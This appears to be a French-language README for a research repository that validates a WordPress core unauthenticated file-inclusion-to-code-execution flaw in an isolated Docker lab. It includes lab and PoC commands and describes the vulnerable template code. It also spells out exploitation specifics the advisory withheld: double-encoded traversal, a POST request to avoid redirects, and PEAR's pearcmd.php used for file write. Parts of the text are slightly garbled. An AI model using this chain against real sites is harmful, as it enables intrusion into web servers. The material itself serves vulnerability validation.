WordPress Core <= 7.1.1 LFI non authentifiée vers RCE - lab de validation, PoC, template nuclei (GHSA-7hp8-65ch-5whp)
Matériel de recherche en sécurité pour reproduire et valider CVE-2026-87902 (GHSA-7hp8-65ch-5whp) dans un laboratoire Docker isolé, en boucle locale uniquement : une inclusion de fichier local non authentifiée dans la résolution des modèles de page du cœur de WordPress, pouvant être escaladée en exécution de code à distance.
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)Statut : prouvé dans le laboratoire fourni.
WordPress 7.1.1 (thème Twenty Twelve) permet à un attaquant non authentifié d'inclure
des fichiers PHP en dehors du répertoire du thème via la variable de requête pagename,
et - avec le register_argc_argv = On par défaut de l'image PHP officielle - d'écrire et
d'exécuter un fichier marqueur via le pearcmd.php de PEAR :
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
WordPress 7.1.2 avec une configuration identique bloque entièrement l'oracle (contrôle négatif). Cela démontre l'exécution de code en tant qu'utilisateur du serveur web WordPress à l'intérieur du conteneur. Cela ne démontre pas un accès root, une évasion de conteneur, un mouvement latéral ou une compromission de l'hôte.
Prérequis : Docker avec Compose v2, Python 3.10+, accès réseau à Docker Hub et wordpress.org (installation du thème).
./lab verify
Cela construit le laboratoire vulnérable, exige que l'oracle LFI et le marqueur RCE se déclenchent, puis construit le laboratoire corrigé et exige que l'oracle reste silencieux.
Pour utiliser un autre port de boucle locale : LAB_PORT=9499 ./lab verify.
Supprimez tout ensuite avec ./lab reset.
Contrôle vulnérable :
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
Contrôle corrigé :
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
Un HTTP 200, un blocage WAF ou une traversée partielle sans le marqueur de l'oracle n'est pas accepté comme preuve.
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
Exécutez les outils manuellement contre le laboratoire en cours d'exécution :
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
Pour les systèmes que vous possédez ou êtes explicitement autorisé à tester (périmètre de bug-bounty, engagement écrit), les pilotes exigent la dérogation explicite :
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
get_page_template() dans wp-includes/template.php construit un nom de fichier
de modèle candidat à partir de la variable de requête pagename. La branche sœur
trois lignes au-dessus fait passer le slug du modèle de page par validate_file() ;
la branche pagename ne l'a jamais fait, et pousse en plus un candidat supplémentaire
décodé par urldecode() :
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 applique validate_file() au candidat décodé et ajoute une
barrière de confinement (_wp_is_template_path_allowed()) que chaque chemin de
modèle résolu doit franchir.
locate_template() vérifie les deux)
fournit un répertoire de premier niveau commençant par page-. Les thèmes par
défaut hérités (Twenty Twelve, Twenty Fourteen) et plusieurs thèmes wp.org (Neve,
Hestia, Sydney) sont éligibles. Les thèmes commerciaux étudiés (Divi, Avada,
Flatsome, Woodmart, Betheme, The7, Enfold, Salient, Jupiter/X, Porto, Houzez,
XStore, Kalium, Uncode) n'en fournissent aucun - la traversée ne peut pas se
résoudre ; voir PRO_THEME_PAGE_DIRS dans le PoC pour la liste issue des miroirs..php (ajouté par le code).register_argc_argv = On et le pearcmd.php de PEAR.L'avis et l'article de Patchstack refusent de publier une requête fonctionnelle. Ces détails ont été établis empiriquement dans ce laboratoire :
page_id est obligatoire. Un pagename non résolu bascule
is_404, dont le modèle masque entièrement get_page_template(). Ancrez la
requête avec n'importe quel page_id publié et résolvable.get_posts() réécrit pagename
via sanitize_title_for_query( wp_basename( … ) ) : le .. brut devient
-, mais les séquences %hex survivent ; le urldecode() supplémentaire dans
get_page_template() révèle la traversée. Seul %252e/%252f fonctionne.redirect_canonical renvoie un 301
sur GET et supprime la charge utile ; il retourne immédiatement pour les
méthodes non-GET/HEAD).../ depuis page-templates/ sur une racine
de documents standard.$_POST dans les variables de requête) - la base des niveaux d'évasion WAF.$argv
avec urldecode, et le sérialiseur de configuration de PEAR échappe les deux
styles de guillemets - d'où la sonde brute, sans guillemets, séparée par +.| Chemin | Objectif |
|---|---|
poc/poc_cve_2026_87902.py | PoC complet : empreinte de version + WAF, énumération des dossiers thème/page-* (SVN wp.org, découverte par référence d'actif, carte des thèmes pro étudiés), découverte d'ancre, oracle LFI à 8 variantes, oracle de repli comparatif à corps vide, chaîne pearcmd --rce, démo docker --lab |
poc/triage_cve_2026_87902.py | Verdict par cible ou par lot avec la barrière défaillante nommée (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | Traite une liste d'actifs bug-bounty dans le périmètre : expansion de jokers crt.sh → filtre WP → criblage des préconditions → transfert des candidats |
nuclei/cve-2026-87902.yaml | Modèle Nuclei : oracle LFI sûr (174 charges utiles : 10 restes page-*, niveaux double/triple encodés, ids 1–30) |